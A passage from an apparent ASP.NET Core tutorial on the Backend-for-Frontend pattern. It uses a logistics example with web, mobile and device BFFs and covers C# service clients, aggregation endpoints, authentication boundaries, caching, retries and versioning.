works.</p><p>This creates coupling between backend services and presentation requirements.</p><p>A Backend-for-Frontend architecture helps separate those concerns.</p><h2>What Is the Backend-for-Frontend Pattern?</h2><p>The Backend-for-Frontend pattern introduces a dedicated backend layer for a particular frontend experience or group of clients with similar requirements.</p><p>Instead of every client directly calling the same collection of backend services, each client communicates with an API designed for its needs.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!X_mq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!X_mq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png 424w, https://substackcdn.com/image/fetch/$s_!X_mq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png 848w, https://substackcdn.com/image/fetch/$s_!X_mq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png 1272w, https://substackcdn.com/image/fetch/$s_!X_mq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!X_mq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png" width="625" height="567" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:567,&quot;width&quot;:625,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:45342,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/223159231?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!X_mq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png 424w, https://substackcdn.com/image/fetch/$s_!X_mq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png 848w, https://substackcdn.com/image/fetch/$s_!X_mq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png 1272w, https://substackcdn.com/image/fetch/$s_!X_mq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbbe8f07b-b5c5-497a-99c8-65f6ac254aab_625x567.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Each frontend has a tailored API layer while backend services remain reusable.</p><p>The web BFF can return detailed dashboard models.</p><p>The mobile BFF can return compact delivery summaries.</p><p>The device BFF can expose narrowly scoped telemetry and configuration endpoints.</p><p>All three can reuse the same underlying business services.</p><p>The BFF doesn&#8217;t need to duplicate the business logic.</p><p>Its primary responsibility is adapting backend capabilities to the requirements of a particular client.</p><h2>BFF Versus API Gateway</h2><p>A Backend-for-Frontend is sometimes confused with an API gateway.</p><p>Both sit between clients and backend services, but their responsibilities differ.</p><p>An API gateway typically handles cross-cutting infrastructure concerns such as routing, authentication enforcement, rate limiting, and request forwarding.</p><p>A BFF understands the needs of a particular frontend.</p><p>It may aggregate several backend responses, transform data, implement frontend-oriented workflows, and expose endpoints shaped around screens or client operations. </p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;48580635-c7af-4287-9630-a855a0076e4a&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Responsibility                    API Gateway                    BFF
Request routing                   Primary responsibility         Often used
Rate limiting                     Common                         May be client-specific
Data aggregation                  Sometimes                      Common
Client-specific responses         Limited                        Primary purpose
Business logic ownership          Generally no                   Generally no
Frontend workflow adaptation      Limited                        Common</code></pre></div><p>These patterns can work together.</p><p>An API gateway may route requests to different BFF services.</p><p>Each BFF then coordinates the backend calls needed by its frontend.</p><p>However, introducing both layers is not mandatory.</p><p>For smaller systems, an ASP.NET Core BFF can handle client-specific routing and aggregation without requiring a separate gateway.</p><h2>When Does a BFF Make Sense?</h2><p>A BFF is useful when different clients have meaningfully different needs.</p><p>Suppose a desktop dashboard requires information from six backend endpoints.</p><p>The mobile application needs information from only two.</p><p>The device client needs an entirely different authentication and payload model.</p><p>A shared API may become awkward because each client requires a different shape of the same underlying data.</p><p>A BFF gives each frontend team control over its API contract without forcing changes into shared domain services.</p><p>It can also reduce network round trips.</p><p>Instead of a mobile application calling several services independently, it can make one request to its BFF.</p><p>The BFF performs the necessary backend calls and returns a response designed for that screen.</p><p>But a BFF is not automatically the right choice.</p><p>If every client uses almost identical endpoints and response formats, a shared API may be simpler.</p><p>The goal is to solve real client-specific complexity, not introduce additional services merely because the architecture is fashionable.</p><h2>Designing Our Example Application</h2><p>We&#8217;ll build a simplified logistics platform.</p><p>Our backend contains three services:</p><ul><li><p>Delivery Service, which stores delivery assignments and shipment details.</p></li><li><p>Tracking Service, which provides vehicle locations and operational status.</p></li><li><p>Analytics Service, which calculates delivery performance metrics.</p></li></ul><p>Our frontend clients are a web dashboard, a mobile application, and a fleet tracking device.</p><p>The web dashboard needs a complete delivery overview.</p><p>The mobile application needs a concise driver-oriented view.</p><p>The tracking device needs configuration and telemetry submission endpoints.</p><p>We&#8217;ll implement the BFF layers using ASP.NET Core Minimal APIs.</p><p>The examples focus on API composition and architectural boundaries. They use simplified service contracts, with production concerns introduced as we progress.</p><h2>Step 1: Define the Shared Backend Contracts</h2><p>Let&#8217;s begin with the data returned by our backend services.</p><pre><code><code>public sealed record Delivery(
    Guid Id,
    string CustomerName,
    string Address,
    string Status,
    Guid DriverId,
    Guid VehicleId);

public sealed record VehicleLocation(
    Guid VehicleId,
    double Latitude,
    double Longitude,
    DateTimeOffset UpdatedAt);

public sealed record DeliveryMetrics(
    Guid DeliveryId,
    int EstimatedMinutesRemaining,
    bool IsDelayed);</code></code></pre><p>These models represent information owned by different services.</p><p>The Delivery Service owns shipment and assignment data.</p><p>The Tracking Service owns vehicle location information.</p><p>The Analytics Service calculates performance indicators.</p><p>The BFF shouldn&#8217;t take ownership of those responsibilities.</p><p>Instead, it consumes their APIs and produces frontend-oriented responses.</p><p>This separation is important because client requirements change more frequently than core business rules.</p><h2>Step 2: Create the Web BFF Response</h2><p>The web dashboard needs a detailed delivery overview.</p><p>It should display customer information, delivery status, vehicle location, and performance metrics together.</p><p>We can define a dedicated response model.</p><pre><code><code>public sealed record WebDeliveryView(
    Guid DeliveryId,
    string CustomerName,
    string Address,
    string Status,
    VehicleLocation? Location,
    DeliveryMetrics? Metrics);</code></code></pre><p>Notice that the response isn&#8217;t simply a copy of the Delivery Service model.</p><p>It combines information from several backend services.</p><p>This is one of the main responsibilities of a BFF.</p><p>The frontend receives the information it needs without having to understand how many backend services were involved.</p><h2>Step 3: Create Typed HTTP Clients</h2><p>ASP.NET Core provides <code>IHttpClientFactory</code> for managing HTTP clients.</p><p>We&#8217;ll use it to register typed clients for our backend services.</p><pre><code><code>var builder = WebApplication.CreateBuilder(args);

builder.Services.AddHttpClient&lt;DeliveryClient&gt;(
    client =&gt;
    {
        client.BaseAddress = new Uri(
            builder.Configuration[
                "Services:Delivery"]!);
    });

builder.Services.AddHttpClient&lt;TrackingClient&gt;(
    client =&gt;
    {
        client.BaseAddress = new Uri(
            builder.Configuration[
                "Services:Tracking"]!);
    });

builder.Services.AddHttpClient&lt;AnalyticsClient&gt;(
    client =&gt;
    {
        client.BaseAddress = new Uri(
            builder.Configuration[
                "Services:Analytics"]!);
    });</code></code></pre><p>The service addresses come from configuration.</p><p>For example:</p><pre><code><code>{
  "Services": {
    "Delivery": "https://delivery.internal/",
    "Tracking": "https://tracking.internal/",
    "Analytics": "https://analytics.internal/"
  }
}</code></code></pre><p>In a production environment, these addresses might resolve through service discovery or internal networking.</p><p>Credentials and secrets should be managed separately from ordinary configuration files.</p><h2>Step 4: Implement a Backend Client</h2><p>Let&#8217;s implement the Delivery Service client.</p><pre><code><code>using System.Net.Http.Json;

public sealed class DeliveryClient
{
    private readonly HttpClient _http;

    public DeliveryClient(HttpClient http)
    {
        _http = http;
    }

    public async Task&lt;Delivery?&gt; GetAsync(
        Guid id,
        CancellationToken cancellationToken)
    {
        return await _http.GetFromJsonAsync&lt;Delivery&gt;(
            $"api/deliveries/{id}",
            cancellationToken);
    }
}</code></code></pre><p>The Tracking and Analytics clients can follow the same pattern.</p><pre><code><code>public sealed class TrackingClient
{
    private readonly HttpClient _http;

    public TrackingClient(HttpClient http)
    {
        _http = http;
    }

    public Task&lt;VehicleLocation?&gt; GetAsync(
        Guid vehicleId,
        CancellationToken cancellationToken)
    {
        return _http.GetFromJsonAsync&lt;VehicleLocation&gt;(
            $"api/vehicles/{vehicleId}/location",
            cancellationToken);
    }
}</code></code></pre><pre><code><code>public sealed class AnalyticsClient
{
    private readonly HttpClient _http;

    public AnalyticsClient(HttpClient http)
    {
        _http = http;
    }

    public Task&lt;DeliveryMetrics?&gt; GetAsync(
        Guid deliveryId,
        CancellationToken cancellationToken)
    {
        return _http.GetFromJsonAsync&lt;DeliveryMetrics&gt;(
            $"api/deliveries/{deliveryId}/metrics",
            cancellationToken);
    }
}</code></code></pre><p>These examples are intentionally minimal.</p><p><code>GetFromJsonAsync</code> throws for unsuccessful HTTP status codes and can throw for network failures or invalid JSON.</p><p>Production clients should distinguish expected responses, such as <code>404 Not Found</code>, from service failures and apply appropriate resilience policies.</p><h2>Step 5: Build the Web BFF Endpoint</h2><p>Now we&#8217;ll create an endpoint that combines the backend responses.</p><pre><code><code>var app = builder.Build();

app.MapGet("/api/web/deliveries/{id:guid}",
    async (
        Guid id,
        DeliveryClient deliveries,
        TrackingClient tracking,
        AnalyticsClient analytics,
        CancellationToken cancellationToken) =&gt;
    {
        var delivery = await deliveries.GetAsync(
            id,
            cancellationToken);

        if (delivery is null)
        {
            return Results.NotFound();
        }

        var locationTask = tracking.GetAsync(
            delivery.VehicleId,
            cancellationToken);

        var metricsTask = analytics.GetAsync(
            delivery.Id,
            cancellationToken);

        await Task.WhenAll(
            locationTask,
            metricsTask);

        var response = new WebDeliveryView(
            delivery.Id,
            delivery.CustomerName,
            delivery.Address,
            delivery.Status,
            await locationTask,
            await metricsTask);

        return Results.Ok(response);
    });

app.Run();</code></code></pre><p>The BFF first retrieves the delivery.</p><p>Once it knows the vehicle ID, it requests location and analytics data concurrently.</p><p>This is more efficient than calling the two independent services sequentially.</p><p>The web client receives a single response.</p><pre><code><code>{
  "deliveryId": "e8d2d2c3-6b2c-48ae-93cc-7254e75f40a1",
  "customerName": "Maria Lopez",
  "address": "120 Market Street",
  "status": "In Transit",
  "location": {
    "vehicleId": "d71e34f9-27c7-4b25-b2a4-fde741a3a9a5",
    "latitude": 37.7749,
    "longitude": -122.4194,
    "updatedAt": "2026-10-20T10:30:00Z"
  },
  "metrics": {
    "deliveryId": "e8d2d2c3-6b2c-48ae-93cc-7254e75f40a1",
    "estimatedMinutesRemaining": 18,
    "isDelayed": false
  }
}</code></code></pre><p>The frontend doesn&#8217;t need to coordinate three separate service requests.</p><p>The BFF performs that work.</p><p>This simplifies frontend development and reduces client-to-server round trips.</p><p>However, the total backend work hasn&#8217;t disappeared. The BFF still makes those service calls, and their latency and failure behavior must be managed carefully.</p><h2>Step 6: Design a Mobile-Specific API</h2><p>The mobile application has different requirements.</p><p>A driver checking the next delivery doesn&#8217;t need analytics metrics or a complete vehicle tracking history.</p><p>The mobile interface needs a compact summary.</p><p>Let&#8217;s define a separate response model.</p><pre><code><code>public sealed record MobileDeliveryView(
    Guid DeliveryId,
    string Address,
    string Status,
    int EstimatedMinutesRemaining);</code></code></pre><p>The mobile BFF can expose:</p><pre><code><code>GET /api/mobile/deliveries/next</code></code></pre><p>A sample response might be:</p><pre><code><code>{
  "deliveryId": "e8d2d2c3-6b2c-48ae-93cc-7254e75f40a1",
  "address": "120 Market Street",
  "status": "In Transit",
  "estimatedMinutesRemaining": 18
}</code></code></pre><p>This response is smaller and easier for the mobile application to consume.</p><p>The mobile client doesn&#8217;t need to download fields that aren&#8217;t displayed.</p><p>The API can also expose mobile-specific workflows.</p><p>For example:</p><pre><code><code>POST /api/mobile/deliveries/{id}/confirm</code></code></pre><p>The BFF validates the client-facing request, forwards the operation to the appropriate backend service, and returns a mobile-friendly result.</p><p>The business rule determining whether a delivery can be confirmed should remain in the domain service.</p><p>The BFF adapts the workflow, but it doesn&#8217;t become the authoritative owner of delivery state.</p><h2>Step 7: Designing APIs for Connected Devices</h2><p>Connected devices introduce another set of requirements.</p><p>A tracking device may have limited memory, intermittent connectivity, and strict power constraints.</p><p>It doesn&#8217;t need the same JSON responses used by a browser.</p><p>A device might submit telemetry:</p><pre><code><code>POST /api/device/telemetry
Content-Type: application/json</code></code></pre><pre><code><code>{
  "deviceId": "tracker-204",
  "temperature": 4.2,
  "battery": 78,
  "latitude": 37.7749,
  "longitude": -122.4194
}</code></code></pre><p>The Device BFF can validate the payload and forward it to the telemetry ingestion service.</p><p>It may also return configuration settings.</p><pre><code><code>GET /api/device/configuration</code></code></pre><pre><code><code>{
  "reportIntervalSeconds": 60,
  "temperatureAlertThreshold": 8.0,
  "firmwareUpdateAvailable": false
}</code></code></pre><p>The device receives only the information required for its operation.</p><p>This is particularly valuable when devices communicate over expensive or unreliable networks.</p><p>But device APIs also need stronger attention to identity, replay protection, payload validation, and rate limiting.</p><p>A device BFF should not simply trust a <code>deviceId</code> supplied in the request body.</p><p>The device identity should be established through a secure authentication mechanism.</p><h2>Client-Specific Authentication Boundaries</h2><p>Authentication is one of the most important areas where BFF designs differ.</p><p>A browser-based BFF commonly uses a server-managed authentication session.</p><p>The browser receives a secure, HttpOnly cookie.</p><p>The BFF manages the authentication flow and, where necessary, stores access tokens on the server rather than exposing them to browser JavaScript.</p><p>This reduces the exposure of tokens to client-side scripts.</p><p>A mobile application may instead use an OAuth 2.0 or OpenID Connect flow designed for native applications, typically Authorization Code with PKCE.</p><p>Connected devices may use device credentials, certificates, or another mechanism appropriate to their capabilities and threat model.</p><p>These differences are a strong reason not to force every client through identical authentication code.</p><p>The BFF can establish the correct trust boundary for its frontend.</p><h2>Building a Secure Browser BFF</h2><p>Let&#8217;s consider a browser-based dashboard.</p><p>The browser signs in through the web BFF.</p><p>After authentication, the BFF maintains a server-side session.</p><p>The browser makes requests using a secure cookie.</p><p>The BFF then calls backend APIs using the appropriate server-side credentials or delegated user tokens.</p><p>A simplified flow looks like this:</p><pre><code><code>Browser
   |
   | Secure session cookie
   v
Web BFF
   |
   | Server-managed access token
   v
Backend API</code></code></pre><p>The browser doesn&#8217;t need direct access to backend service tokens.</p><p>This can significantly improve token handling compared with storing access tokens in browser-accessible storage.</p><p>However, cookie-based authentication introduces its own responsibilities.</p><p>State-changing endpoints need protection against cross-site request forgery.</p><p>Cookies should use appropriate <code>Secure</code>, <code>HttpOnly</code>, and <code>SameSite</code> settings.</p><p>The application should also handle session expiration, logout, token renewal, and authorization failures correctly.</p><p>A BFF is not inherently secure merely because it exists.</p><p>Its security benefits depend on implementation.</p><h2>Avoiding a Dangerous Authentication Shortcut</h2><p>A common mistake is to forward the incoming browser&#8217;s authentication cookie directly to every backend service.</p><p>That couples internal services to the browser&#8217;s session mechanism.</p><p>It also expands the trust boundary unnecessarily.</p><p>A better design is for the BFF to authenticate the browser session and then call backend services using an appropriate service or delegated identity.</p><p>The backend service must still enforce authorization.</p><p>For example, a delivery service should verify that the authenticated principal or calling service is authorized to access the requested delivery.</p><p>The BFF should not be treated as a universal authorization bypass.</p><p>This becomes especially important in multi-tenant applications.</p><h2>Reducing Frontend Network Requests</h2><p>One of the most practical benefits of a BFF is reducing client-side request coordination.</p><p>Imagine a dashboard that needs five backend resources.</p><p>Without a BFF, the browser may issue five requests.</p><p>Each request has network overhead, authentication considerations, and error-handling requirements.</p><p>With a BFF, the browser makes one request.</p><p>The BFF performs the necessary internal calls and returns an aggregated response.</p><p>This doesn&#8217;t necessarily reduce the total number of HTTP requests across the system.</p><p>It changes where those requests happen.</p><p>Internal service-to-service calls may be faster than multiple requests across a mobile or public network.</p><p>The benefit is particularly noticeable when network latency is high.</p><p>However, aggregation can also create a bottleneck if the BFF performs too much work or calls services inefficiently.</p><p>The architecture must be measured rather than assumed to be faster.</p><h2>Parallel Requests and Their Limits</h2><p>Our earlier example used <code>Task.WhenAll</code> to request location and analytics data concurrently.</p><p>That works well when the operations are independent.</p><p>But parallelism isn&#8217;t free.</p><p>If one frontend request triggers 20 backend requests, and 1,000 users access the same page simultaneously, the system may generate 20,000 downstream requests.</p><p>This is called request amplification.</p><p>A BFF can unintentionally create enormous load on backend services.</p><p>Avoid excessive fan-out.</p><p>Use batch endpoints where appropriate.</p><p>Cache data that doesn&#8217;t change frequently.</p><p>Limit concurrency when calling expensive services.</p><p>Consider whether a precomputed read model would be more efficient than repeatedly assembling the same information.</p><p>The goal is to simplify frontend access without overwhelming the backend.</p><h2>Handling Partial Failures</h2><p>Suppose the Delivery Service is available.</p><p>The Tracking Service is also available.</p><p>But the Analytics Service is temporarily unavailable.</p><p>Should the entire dashboard fail?</p><p>Not necessarily.</p><p>The dashboard may still be useful without performance metrics.</p><p>This is where BFF-specific resilience becomes valuable.</p><p>A web BFF can return the delivery information and location while indicating that analytics are temporarily unavailable.</p><p>For example:</p><pre><code><code>{
  "deliveryId": "e8d2d2c3-6b2c-48ae-93cc-7254e75f40a1",
  "status": "In Transit",
  "location": {
    "latitude": 37.7749,
    "longitude": -122.4194
  },
  "metrics": null,
  "warnings": [
    "Analytics data is temporarily unavailable."
  ]
}</code></code></pre><p>The frontend can display the essential information and show a small warning for the missing section.</p><p>This is called graceful degradation.</p><p>But partial failure handling should be deliberate.</p><p>If the missing data is essential for a financial transaction, authorization decision, or safety-critical workflow, returning a partial success may be inappropriate.</p><p>Each BFF endpoint should define which dependencies are mandatory and which are optional.</p><h2>Timeouts and Cancellation</h2><p>Every downstream HTTP call should have a reasonable timeout.</p><p>Without timeouts, a slow backend service can cause the BFF to hold requests open unnecessarily.</p><p>For example:</p><pre><code><code>builder.Services.AddHttpClient&lt;TrackingClient&gt;(
    client =&gt;
    {
        client.BaseAddress = new Uri(
            builder.Configuration[
                "Services:Tracking"]!);

        client.Timeout =
            TimeSpan.FromSeconds(3);
    });</code></code></pre><p>This sets a client-level timeout.</p><p>A production application may use more granular timeouts and resilience pipelines.</p><p>Cancellation should also flow through the request.</p><p>If the browser disconnects, the BFF may no longer need to continue expensive downstream requests.</p><p>Passing the request&#8217;s cancellation token helps avoid unnecessary work.</p><p>However, cancellation is cooperative.</p><p>A downstream service may already have committed a state-changing operation.</p><p>For write requests, cancellation must not be confused with guaranteed rollback.</p><h2>Retries Can Make Problems Worse</h2><p>Retries are useful when a backend call fails because of a temporary network issue.</p><p>But retries can also amplify overload.</p><p>Imagine the Analytics Service is struggling under heavy traffic.</p><p>If every BFF instance immediately retries failed requests several times, the service receives even more traffic.</p><p>This can make the outage worse.</p><p>Use bounded retries with backoff and jitter.</p><p>Retry only operations that are safe to repeat.</p><p>For state-changing requests, use idempotency keys or other safeguards where appropriate.</p><p>Circuit breakers, concurrency limits, and load shedding can help prevent cascading failures.</p><p>The resilience policy should reflect the operation&#8217;s semantics.</p><p>A retry policy that works for retrieving a dashboard summary may be dangerous for submitting a payment or confirming a shipment.</p><h2>Caching at the BFF Layer</h2><p>A BFF is a useful place to cache frontend-oriented responses.</p><p>Suppose the web dashboard displays regional delivery statistics.</p><p>Those statistics may change every minute rather than every second.</p><p>Recalculating them for every browser request may be unnecessary.</p><p>The BFF can cache the aggregated response for a short period.</p><pre><code><code>builder.Services.AddOutputCache();

var app = builder.Build();

app.UseOutputCache();

app.MapGet("/api/web/regions/{regionId}/summary",
    async (
        string regionId,
        AnalyticsClient analytics,
        CancellationToken cancellationToken) =&gt;
    {
        // Retrieve and return the regional summary.
        return Results.Ok();
    })
    .CacheOutput(policy =&gt;
        policy.Expire(
            TimeSpan.FromSeconds(30)));</code></code></pre><p>This illustrates ASP.NET Core output caching configuration.</p><p>The example doesn&#8217;t include a real analytics call, and production caching must consider authorization and data sensitivity.</p><p>A response containing one user&#8217;s private information must not be accidentally shared with another user.</p><p>For authenticated or tenant-specific responses, configure cache policies and keys carefully, or avoid shared output caching.</p><p>Caching is useful only when correctness and isolation are preserved.</p><h2>Avoiding Stale Data Problems</h2><p>Caching introduces a tradeoff.</p><p>It improves response times and reduces backend load.</p><p>But clients may receive data that is slightly out of date.</p><p>For an analytics dashboard, a 30-second delay may be acceptable.</p><p>For a delivery confirmation or payment status, stale data could create confusion.</p><p>The BFF should define freshness requirements for each response.</p><p>Some endpoints can use short time-based caching.</p><p>Others may use event-driven invalidation.</p><p>Critical operations may require direct reads from the authoritative backend service.</p><p>The frontend should understand whether the information is live, recently cached, or eventually consistent.</p><p>This is particularly important when different BFFs expose different representations of the same business data.</p><h2>Should Every Frontend Have Its Own BFF?</h2><p>Not necessarily.</p><p>The pattern is about distinct frontend requirements, not creating a service for every application.</p><p>Suppose a company has a desktop web dashboard and a tablet dashboard.</p><p>Both display almost identical data and use the same authentication model.</p><p>A shared BFF may be appropriate.</p><p>Now suppose the company introduces a mobile driver application with offline support, compact payloads, and specialized workflows.</p><p>That client may benefit from a separate BFF.</p><p>The boundary should follow meaningful differences in client behavior and ownership.</p><p>Creating too many BFF services increases deployment, monitoring, and maintenance overhead.</p><p>The objective is to reduce complexity, not distribute it into unnecessary projects.</p><h2>Organizing BFF Projects in ASP.NET Core</h2><p>A practical solution structure might look like this:</p><pre><code><code>LogisticsPlatform/
|
|-- WebBff/
|   |-- Endpoints/
|   |-- Clients/
|   |-- Contracts/
|   |-- Authentication/
|
|-- MobileBff/
|   |-- Endpoints/
|   |-- Clients/
|   |-- Contracts/
|
|-- DeviceBff/
|   |-- Endpoints/
|   |-- Clients/
|   |-- Contracts/
|
|-- Shared/
|   |-- ServiceContracts/
|   |-- Observability/
|
|-- BackendServices/
    |-- DeliveryService/
    |-- TrackingService/
    |-- AnalyticsService/</code></code></pre><p>Each BFF owns its client-facing API contracts.</p><p>Shared libraries can contain stable infrastructure components and service-client abstractions.</p><p>But avoid putting every response model into a giant shared package.</p><p>That can recreate the coupling the BFF architecture was intended to remove.</p><p>The web BFF should be free to evolve its dashboard response without forcing the mobile BFF to change.</p><h2>Contract-First Development for BFF APIs</h2><p>Client-specific APIs benefit from clear contracts.</p><p>The frontend team needs to know which endpoints exist, what they return, and how errors are represented.</p><p>OpenAPI can describe these contracts.</p><p>For example, the mobile BFF might define:</p><pre><code><code>GET /api/mobile/deliveries/next</code></code></pre><p>With a response model:</p><pre><code><code>{
  "deliveryId": "e8d2d2c3-6b2c-48ae-93cc-7254e75f40a1",
  "address": "120 Market Street",
  "status": "In Transit",
  "estimatedMinutesRemaining": 18
}</code></code></pre><p>The frontend team can generate a typed client from the API contract.</p><p>This reduces mismatches between frontend expectations and backend implementation.</p><p>In our previous article on Contract-First API Development in ASP.NET Core, we explored how OpenAPI and schema governance improve API evolution.</p><p>Those principles apply directly to BFF APIs.</p><p>The important difference is that each BFF can maintain a contract tailored to its frontend rather than exposing every internal service model.</p><h2>Versioning Client-Specific APIs</h2><p>BFF APIs evolve as frontend applications change.</p><p>Web applications can often deploy frontend and BFF updates together.</p><p>Mobile applications are different.</p><p>Users may continue running older app versions for weeks or months.</p><p>A mobile BFF must account for this.</p><p>Removing a field or changing an endpoint can break older clients.</p><p>Versioning strategies may include explicit API versions, additive schema evolution, and temporary support for older contracts.</p><p>For example:</p><pre><code><code>GET /api/mobile/v1/deliveries/next</code></code></pre><p>And later:</p><pre><code><code>GET /api/mobile/v2/deliveries/next</code></code></pre><p>Versioning should be based on compatibility requirements rather than automatically creating a new version for every release.</p><p>Device clients can have even longer upgrade cycles.</p><p>A tracking device installed in a vehicle may remain on older firmware for years.</p><p>The Device BFF may therefore need a carefully managed compatibility policy.</p><h2>Supporting Offline-First Mobile Applications</h2><p>Mobile applications frequently operate under unreliable network conditions.</p><p>A delivery driver may lose connectivity inside a warehouse or in a remote area.</p><p>The mobile BFF can support offline-first workflows by exposing synchronization-oriented endpoints.</p><p>For example:</p><pre><code><code>GET /api/mobile/sync?cursor=abc123</code></code></pre><p>The response might include changes since the last successful synchronization.</p><pre><code><code>{
  "nextCursor": "abc124",
  "changes": [
    {
      "deliveryId": "e8d2d2c3-6b2c-48ae-93cc-7254e75f40a1",
      "status": "Assigned"
    }
  ],
  "hasMore": false
}</code></code></pre><p>The mobile application stores the changes locally.</p><p>When connectivity returns, it can upload pending actions.</p><p>However, the BFF should not invent its own conflicting source of truth.</p><p>Synchronization semantics, conflict resolution, and authoritative data ownership must be coordinated with the underlying domain services.</p><p>The BFF adapts those capabilities into a mobile-friendly contract.</p><h2>BFF and Real-Time Updates</h2><p>Not every frontend needs real-time communication in the same way.</p><p>A web dashboard may display live vehicle locations.</p><p>A mobile application may need occasional delivery status notifications.</p><p>A tracking device may primarily upload telemetry rather than receive continuous updates.</p><p>The web BFF could expose a Server-Sent Events endpoint.</p><pre><code><code>GET /api/web/deliveries/events
Accept: text/event-stream</code></code></pre><p>The mobile application might use push notifications combined with ordinary API requests.</p><p>The device BFF might provide a lightweight configuration polling endpoint.</p><p>These choices don&#8217;t need to be identical.</p><p>In our previous guide on Server-Sent Events in ASP.NET Core, we explored how SSE provides efficient one-way streaming over HTTP.</p><p>A BFF can use SSE where it benefits the frontend without requiring every backend service to expose streaming endpoints directly.</p><h2>Using YARP in a BFF Architecture</h2><p>ASP.NET Core applications can use YARP, Microsoft&#8217;s reverse proxy toolkit, to forward requests to backend services.</p><p>YARP is useful when a BFF needs both custom aggregation endpoints and straightforward proxy routes.</p><p>For example, the BFF might aggregate data for dashboard pages while forwarding certain specialized requests directly to a backend service.</p><p>YARP can handle routing and proxy behavior, while application endpoints handle client-specific composition.</p><p>The official documentation is available at <a href="https://learn.microsoft.com/en-us/aspnet/core/fundamentals/servers/yarp/overview?utm_source=chatgpt.com">Microsoft Learn: YARP reverse proxy</a>.</p><p>However, a BFF shouldn&#8217;t become an unrestricted proxy to internal services.</p><p>Only intended routes should be exposed.</p><p>Authentication, authorization, header forwarding, and request limits must be configured carefully.</p><h2>Observability Across the BFF Layer</h2><p>Adding a BFF introduces another hop into the request path.</p><p>That makes observability essential.</p><p>Suppose a dashboard takes four seconds to load.</p><p>Is the BFF slow?</p><p>Is the Tracking Service responding 